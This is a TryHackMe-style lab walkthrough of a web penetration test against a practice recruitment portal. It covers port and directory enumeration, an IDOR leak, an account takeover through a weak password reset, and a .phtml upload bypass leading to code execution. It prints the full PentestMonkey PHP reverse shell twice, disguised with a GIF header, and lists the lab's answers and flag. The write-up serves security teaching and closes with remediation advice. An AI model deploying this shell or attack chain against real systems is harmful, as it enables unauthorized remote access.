July 31, 2026
Guided Pentest: Web — Exploiting IDOR, Weak Password Reset, and File Upload Vulnerabilities
A hands-on walkthrough of a realistic web application penetration test, covering reconnaissance, IDOR, account takeover, unrestricted file…
By Dharavathnagaraju
12 min read
A hands-on walkthrough of a realistic web application penetration test, covering reconnaissance, IDOR, account takeover, unrestricted file upload, and Remote Code Execution (RCE) through vulnerability chaining.
Lab Scenario
The client suspects that RecruitX contains security weaknesses but does not know where they exist. As the penetration tester, our responsibility is to identify those weaknesses and determine whether they can be chained together to compromise the application.
This walkthrough follows a real-world penetration testing methodology:
- Reconnaissance
- Enumeration
- Vulnerability Discovery
- Exploitation
- Privilege Escalation
- Remote Code Execution
In this first part, we focus only on reconnaissance and enumeration.
Task 2 Reconnaissance and Enumeration
Reconnaissance & Enumeration — Understanding the Target
In penetration testing, finding vulnerabilities rarely starts with exploiting the application immediately. Instead, every engagement begins with reconnaissance and enumeration, where the objective is to understand the target, identify exposed services, and map the application's attack surface.
In this walkthrough, I will be performing a realistic web application penetration test against RecruitX, an internal recruitment portal that allows hiring managers to post jobs, candidates to submit applications, and administrators to manage the recruitment workflow.
The goal of this phase is simple:
Gather as much information as possible before attempting any exploitation.
nmap
Nmap (Network Mapper) is an open-source network scanning tool used to discover live hosts, open ports, running services, service versions, and operating systems on a target. During a penetration test, it is typically the first tool used to understand the target's exposed network services and identify potential attack surfaces
root@tryhackme:~# nmap -sV -sC -p- 10.48.184.200
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.48.184.200
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 secondsroot@tryhackme:~# nmap -sV -sC -p- 10.48.184.200
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.48.184.200
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 secondsDirectory Enumeration
Gobuster DirBuster is a web content discovery tool that brute-forces directory and file names using a wordlist to find hidden resources on a web server. It helps penetration testers identify unlinked pages, administrative panels, APIs, backup files, and other directories that are not visible through the application's navigation, revealing additional areas for security assessment.
root@tryhackme:~# gobuster dir -u http://10.48.184.200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.48.184.200
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 21600]
/profile.php (Status: 302) [Size: 0]
/login.php (Status: 200) [Size: 15107]
/jobs.php (Status: 200) [Size: 20288]
/uploads (Status: 301) [Size: 314]
/data (Status: 403) [Size: 277]
/admin (Status: 301) [Size: 312]
/test (Status: 200) [Size: 705]
/includes (Status: 301) [Size: 315]
/api (Status: 301) [Size: 310]
/logout.php (Status: 302) [Size: 0]
/config (Status: 301) [Size: 313]
/dashboard.php (Status: 302) [Size: 0]
/register.php (Status: 200) [Size: 17384]
/reset.php (Status: 200) [Size: 14408]
/.php (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================root@tryhackme:~# gobuster dir -u http://10.48.184.200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.48.184.200
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 21600]
/profile.php (Status: 302) [Size: 0]
/login.php (Status: 200) [Size: 15107]
/jobs.php (Status: 200) [Size: 20288]
/uploads (Status: 301) [Size: 314]
/data (Status: 403) [Size: 277]
/admin (Status: 301) [Size: 312]
/test (Status: 200) [Size: 705]
/includes (Status: 301) [Size: 315]
/api (Status: 301) [Size: 310]
/logout.php (Status: 302) [Size: 0]
/config (Status: 301) [Size: 313]
/dashboard.php (Status: 302) [Size: 0]
/register.php (Status: 200) [Size: 17384]
/reset.php (Status: 200) [Size: 14408]
/.php (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================Answer the questions below
What version of the Apache server is running?
Answer:2.4.58
What database service is running on the target?
Answer: Mysql
What is the path to the password reset page?
Answer: /reset.php
Task 3 IDOR
Insecure Direct Object Reference (IDOR).
Insecure Direct Object Reference (IDOR) is an access control vulnerability where a web application exposes a direct reference to an object, such as a user ID or file ID, without verifying whether the authenticated user is authorized to access it. An attacker can modify the identifier in a URL, form, or API request to access another user's data. The root cause is missing authorization checks on the server. To prevent IDOR, applications should validate that the requested resource belongs to the authenticated user before granting access.
http://10.48.184.200/profile.php?id=1http://10.48.184.200/profile.php?id=1
http://10.48.184.200/profile.php?id=2http://10.48.184.200/profile.php?id=2
What is the name of the administrator user?
Answer: Sarah Mitchell
What role does James Crawford hold?
Answer: hiring_manager
Task 4 Weak Password Reset
Weak Password Reset Mechanism
A password reset token is a temporary, unique value generated by the server to verify that the user requesting a password reset owns the registered email address. In a secure implementation, the server generates a cryptographically random token, stores it with an expiration time, and sends it only to the user's email. The user can reset their password only after presenting the valid token.
Secure Password Reset Flow
- User clicks Forgot Password.
- The server generates a random reset token.
- The token is stored securely with an expiry time.
- A reset link containing the token is sent to the user's email.
- The server validates the token before allowing the password reset.
Vulnerability in RecruitX
The RecruitX application implemented the password reset process insecurely:
- The reset token was displayed directly on the webpage instead of being sent only through email.
- The token was only 6 digits long, making it vulnerable to brute-force attacks.
- No rate limiting was implemented, allowing unlimited reset attempts.
These weaknesses defeated the purpose of email verification. An attacker who already knew the administrator's email address (obtained through the previous IDOR vulnerability) could request a password reset, immediately obtain the reset token from the response, and change the administrator's password without accessing the victim's email.
Attack Chain
IDOR → Admin Email → Password Reset Request → Reset Token Exposed → Password Changed → Administrator Account Compromised
This demonstrates how multiple low-severity vulnerabilities can be chained together to achieve complete account takeover.
The password reset mechanism had three distinct flaws:
- Token displayed in response: The token should only be sent to the account owner's email, never displayed on screen.
- Weak token generation — A six-digit numeric token has a small keyspace and is susceptible to brute-force attacks.
- No rate limiting — The application did not limit the number of reset requests or token guesses.
Password Reset for s.mitchell@recruitx.thm
Answers:
How many digits long is the reset token?
Answer: 6
After resetting the password for s.mitchell@recruitx.thm and logging in, what role is displayed for that account in the dashboard?
Answer: Administrator
Task 5 Admin Panel Access
Accepted File Formats
While exploring the administrator's file upload functionality, I inspected the HTML source using the browser's Developer Tools. The upload form specified an accept attribute that restricted file selection to the following formats:
- PDF (.pdf)
- Microsoft Word (.docx)
- JPEG Image (.jpg)
- PNG Image (.png)
Additionally, the interface indicated a maximum file size of 5 MB.
Although client-side restrictions improve usability, they should not be relied upon for security. A secure application must perform server-side validation of the file type, extension, MIME type, and file content to prevent malicious file uploads.
Lets Try to uplod the file:
here I have upload the jpg Image
And also tested with .phtml Extension:
What is the name of the PHP file responsible for handling file upload in the RecruitX web app?
Answer: upload.php
What HTML attribute on the file input is used to restrict selectable file extensions on the client side?
Answer: accept
Which alternative PHP extension bypassed the upload filter?
Answer: phtml
Task 6 Remote Code Execution
Achieving Remote Code Execution (RCE)
Once I identified that the application accepted .phtml files, there were two common approaches to achieve Remote Code Execution.
Method 1: Simple Web Shell
The first approach is to upload a simple PHP web shell that executes commands passed through a URL parameter using functions such as shell_exec(). After uploading the file, individual system commands can be executed through HTTP requests, for example using curl, to retrieve information such as the current user, hostname, operating system details, or the contents of sensitive files.
Although this method is effective, it is limited because each command requires a separate HTTP request and does not provide an interactive terminal.
Method 2: PHP Reverse Shell (PentestMonkey) — Used in This Walkthrough
In this walkthrough, I used the PentestMonkey PHP Reverse Shell instead of a basic web shell. After modifying the script with my attack machine's IP address and listening port, I uploaded the .phtml file through the vulnerable upload functionality.
Once the uploaded file was executed, it initiated a reverse TCP connection back to my Netcat listener, providing an interactive shell running as the www-data user.
An interactive reverse shell is far more powerful than a basic web shell because it allows continuous interaction with the target system. From this shell, I was able to perform system enumeration, retrieve the hostname, identify the current user, inspect operating system information, read sensitive files such as /etc/passwd, and finally access the application's flag.
For this write-up, I have demonstrated the second approach using the PentestMonkey PHP Reverse Shell, as it more closely represents how an attacker or penetration tester would interact with a compromised server during a real-world assessment.
└─$ cat shell.phtml
GIF89a
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.179.51'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>└─$ cat shell.phtml
GIF89a
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.179.51'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Answer the questions below
What user is the web shell running as?
Answer: www-data
What is the hostname of the target server?
Answer: recruitx-prod
What is the flag?
Answer: THM{ch41n3d_vulns_4r3_d3v4st4t1ng}
Task 7 The Attack Chain
How many distinct vulnerabilities were chained together in this engagement?
Answer: 4
What approach should be used instead of a blocklist when validating file uploads?
Answer: allowlist
Conclusion
This assessment demonstrated how multiple seemingly independent security weaknesses can be chained together to achieve a complete server compromise. None of the vulnerabilities alone were sufficient to gain full control of the application, but when combined, they formed a realistic attack path.
The attack chain followed these stages:
- Reconnaissance and Enumeration — Identified the application's technology stack, hidden directories, API endpoints, password reset functionality, upload directory, and administrative panel.
- Insecure Direct Object Reference (IDOR) — Exploited missing authorization checks to enumerate user profiles and obtain the administrator's email address.
- Weak Password Reset Mechanism — Abused an insecure password reset implementation that exposed reset tokens, allowing the administrator's password to be changed.
- Unrestricted File Upload — Used the compromised administrator account to upload a malicious PHP file, bypassing the application's incomplete file extension validation and achieving Remote Code Execution (RCE) through a reverse shell.
This walkthrough highlights an important lesson in web application security: attackers rarely rely on a single critical vulnerability. Instead, they chain together multiple weaknesses — such as information disclosure, broken access control, insecure authentication, and improper file validation — to achieve their objective.
Remediation Recommendations
To prevent similar attacks, the application should implement the following security measures. IDOR should be fixed by enforcing proper server-side authorization so users can only access their own data. Password reset should use secure, time-limited tokens sent via email with rate limiting. File uploads must be restricted using strict allowlists, MIME validation, and storage outside the web root. API endpoints should be protected and not publicly exposed.
Final Thoughts
This RecruitX lab provides an excellent example of a real-world web application penetration test by demonstrating how information gathering, authorization flaws, authentication weaknesses, and insecure file upload functionality can be chained together to compromise an application. It reinforces the importance of secure coding practices, proper access control, and defense-in-depth, where multiple layers of security work together to prevent a complete system compromise.